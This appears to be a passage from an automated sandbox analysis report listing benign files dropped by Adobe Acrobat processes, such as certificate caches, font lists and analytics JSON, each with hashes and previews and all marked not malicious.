Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklDKDh6DtfllXlE/HT8kyDtNNX8RolJuRdxLlGB9lQRYwpDdt:kKBDMDeT8TNMa8RdWBwRd
MD5:	30878B315ABF7F549E669F6ED2978D62
SHA1:	F58B64C5D487EBBF468F491B08E2C1D6B859A1C2
SHA-256:	28B7E91A6FF3B28611D87C4393562F465498A5D5C0E5FE6206DD2424E9638A78
SHA-512:	010D6D6CE3A1811D6F00EE09CC4D1C50936D8D09067D0D7E95AA328097CE9A085D444D66AC33CAB9BE497501F3C29B4BEEAFBC64192C4AE4FED396814043B38D
Malicious:	false
Preview:	p...... ...........c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1330815974444413
Encrypted:	false
SSDEEP:	6:kKpn/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:x/iDnLNkPlE99SNxAhUe/3
MD5:	F9E11C059F5E9E9CF7ABF4C86C147AB2
SHA1:	1763BB0AE7154A08CF07ACE46CFB5B7AD6FB1679
SHA-256:	FD28D5D663E1F952A313E6E9D122B9EA9D3B3FEDB9F1AB49A484FD3B3A26493E
SHA-512:	DB37B63BF4004939FC05898BF71A7C305CFBBD35FA7FAC7E1D6B866E357FEB1AB42F54D81427228959938206E17112633138BFE68954E6F569034AFBA5D4B836
Malicious:	false
Preview:	p...... .........X...c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1492

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1492

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.349400420694417
Encrypted:	false
SSDEEP:	6:YEQXJ2HXm+HV7+FIbRI6XVW7+0YsKoAvJM3g98kUwPeUkwRe9:YvXKXm+IYpW7fGMbLUkee9
MD5:	36D14016D5F62F0E105BF4A69999C488
SHA1:	3D1EA99832DE4523B38D8C9A4A6F1503A2E23A73
SHA-256:	08B9A390D176C2F9E5696135307357D230C3E7DE40BD4CBDB2F0E98D474FB3CF
SHA-512:	3920DF9D6FE002DA1BE5F4E1B205D0A949FC5AFDFACCE28D47C68A33976D224ED632A48AB7029029F9282BFB2DF21E678A260E560FF8755D58716118559BFB95
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5aa716da-6f32-48ab-8e3a-fd1e79b889bb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733910471,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.287237936636688
Encrypted:	false
SSDEEP:	6:YEQXJ2HXm+HV7+FIbRI6XVW7+0YsKoAvJfBoTfXpnrPeUkwRe9:YvXKXm+IYpW7fGWTfXcUkee9
MD5:	37CDA610B623BC286E9A2DE57375D54B
SHA1:	68C2F47714D44E37A0E15F6E6A2A5DD5207B1616
SHA-256:	1AB057CB26CCD640EF0797BE74835D513D3C5784AA15506D4856106DFF8D213A
SHA-512:	206119126AF1A706806C8184B19ACC78D4A841E5C7A1C823E66B4156268718DECDE315720CE3D79B1226A9F6BF962013A3CE20BEC4A8126C78782891FB6EB8E1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5aa716da-6f32-48ab-8e3a-fd1e79b889bb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733910471,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.266724505774091
Encrypted:	false
SSDEEP:	6:YEQXJ2HXm+HV7+FIbRI6XVW7+0YsKoAvJfBD2G6UpnrPeUkwRe9:YvXKXm+IYpW7fGR22cUkee9
MD5:	BDFF6B0D1F601182436EEF08ED4A6CF1
SHA1:	02F499826DC423CC5923D9B52B7AF606C137C3DC
SHA-256:	D1B9CBFE74C73B6C067E8453CE2C00A3B91EE8464BF555404DA24EDE8B62255E
SHA-512:	284F9E0D9A0EBE3CAF39689D4B4197C7BC33050D94AECAC3B99F05A7D5EF379901AC9788DB7DCAA243E687ED36CBD6FCEF8E31E98216064CF68A6077380B48CA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5aa716da-6f32-48ab-8e3a-fd1e79b889bb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733910471,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.32780336973001
Encrypted:	false
SSDEEP:	6:YEQXJ2HXm+HV7+FIbRI6XVW7+0YsKoAvJfPmwrPeUkwRe9:YvXKXm+IYpW7fGH56Ukee9
MD5:	2F2D838D49AEC5C824AB725CB0B6136D
SHA1:	51CC2E2ADA175317098BAA7BACA1FF72E042D9E7
SHA-256:	6EC7A28611F4C9A50AAEC94A87E8307974B8BA375ECE9F0083EB1166C14CB982
SHA-512:	652508ECB14A4112B22973B98FDF633DC8666A1706229D200B74076A8EE027E0D8FA5658BFD08BB1D6997FBD91B03FD723906D26DE9DAF128D890F60B282C1A3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5aa716da-6f32-48ab-8e3a-fd1e79b889bb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733910471,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687379977177296
Encrypted:	false
SSDEEP:	24:Yv6XxxiEpLgE9cQx8LennAvzBvkn0RCmK8czOCCSa:YvhEhgy6SAFv5Ah8cv/a
MD5:	25A09247575D0948E884E7BB15A5CF3A
SHA1:	3ED229D12A8080D9060CCE0C94B2DBCBFA3B47B8
SHA-256:	7578B2247ACB76E0398DF6339E63BF210DA4F8D59CF23ED17F96C76668D5C440
SHA-512:	BFA75FCE5FAA2F63CEDA16840B1A5CA0132E7C77690F6D0F6470433DE6A26BDCD97F026555798B7C5C6E09E236EB6678CEBEFABFA8E50FFDB6C94E9CEC41FF1D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5aa716da-6f32-48ab-8e3a-fd1e79b889bb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733910471,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.271328572679854
Encrypted:	false
SSDEEP:	6:YEQXJ2HXm+HV7+FIbRI6XVW7+0YsKoAvJf8dPeUkwRe9:YvXKXm+IYpW7fGU8Ukee9
MD5:	B4FF44270B62CFACF8D38D2BC3BB2C7D
SHA1:	13C1AD6E20B72DF15DBAE4FD25E067E0E557ABF8
SHA-256:	8F409B21EAF56F4B61854B15358167F1BB81844F132524A54D196B1A21DC6DDA
SHA-512:	B3162AB60202632AB77494C09E3BD52280DFB8A07D33226685ABFF5133F3F2DBC6BCC1BAE970B8013019ACD31373D455286552A8B9A5D98FA5A82500B78D4AA3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5aa716da-6f32-48ab-8e3a-fd1e79b889bb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733910471,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.273422126628677
Encrypted:	false
SSDEEP:	6:YEQXJ2HXm+HV7+FIbRI6XVW7+0YsKoAvJfQ1rPeUkwRe9:YvXKXm+IYpW7fGY16Ukee9
MD5:	E223561E26A3DBB7C5DD27DE63AFE747
SHA1:	51A2F749EA90ADCBD1886D3FECE9AF5916CACEBD
SHA-256:	E30F479F9AFF1BD8A96718FE91BCC3A32436C96ECD08DCB995C4436C71ECE1DB
SHA-512:	9EA0957A3CE50E7AF629C4D2C447B63E3E4CEAE20C8B649D7698BBD282DB9F3BA07FBD6AE06ED3111D90CBB558B09700E83951509DBE68A91ACC2950CEEB71B8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5aa716da-6f32-48ab-8e3a-fd1e79b889bb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733910471,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2907897777391595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXm+HV7+FIbRI6XVW7+0YsKoAvJfFldPeUkwRe9:YvXKXm+IYpW7fGz8Ukee9
MD5:	8274CA8F2A43A72EED69C0BA5895A938
SHA1:	E34AE6483F1B9676E82B85D09E499267A324A7B9
SHA-256:	B53D652E96658A53E5E5C4380484D3960CC12F4E93344C4DCE86C0F07E060223
SHA-512:	B949195B002B949ED7CF74CA72E73C3479B1BA36DC952860F1293B86524CAA8548A6EDBD81F72A4270EEDE683FAB7685D999828E587558C962E34D3CD02FEC30
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5aa716da-6f32-48ab-8e3a-fd1e79b889bb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733910471,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.297269801872627
Encrypted:	false
SSDEEP:	6:YEQXJ2HXm+HV7+FIbRI6XVW7+0YsKoAvJfzdPeUkwRe9:YvXKXm+IYpW7fGb8Ukee9
MD5:	416DF97E245C7D58D0181679593CEE7A
SHA1:	AD1683B1687EBCF65AAC2AF1927020EEA97C12F6
SHA-256:	C5F6C2225A6E255323F869F286776530EEB8E206C5D0338405A45192E531DD71
SHA-512:	0DAB7201A44A7B1E699C6DCF7C808DF1FC718B608A5798B3C3CEDAD43A0F7466421C1316F3C1C08CDA96F29E732E1F7BE55C030BA95D23BA906565349701F6BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5aa716da-6f32-48ab-8e3a-fd1e79b889bb","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736733910471,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2782448918491705
Encrypted:	false
SSDEEP:	6:YEQXJ2HXm+HV7+FIbRI6XVW7+0YsKoAvJfYdPeUkwRe9:YvXKXm+IYpW7fGg8Ukee9
MD5:	2BBDF43F64D0FC3A18FC5E80ACD7A956
SHA1:	317A0D39340D2F5EC7879AEC7029A1047C2ECFDC
SHA-256:	CE3DEC785245C9AF8C5D5F85FE7D3BE244901C4E29CCD714193D6B35FED84B49
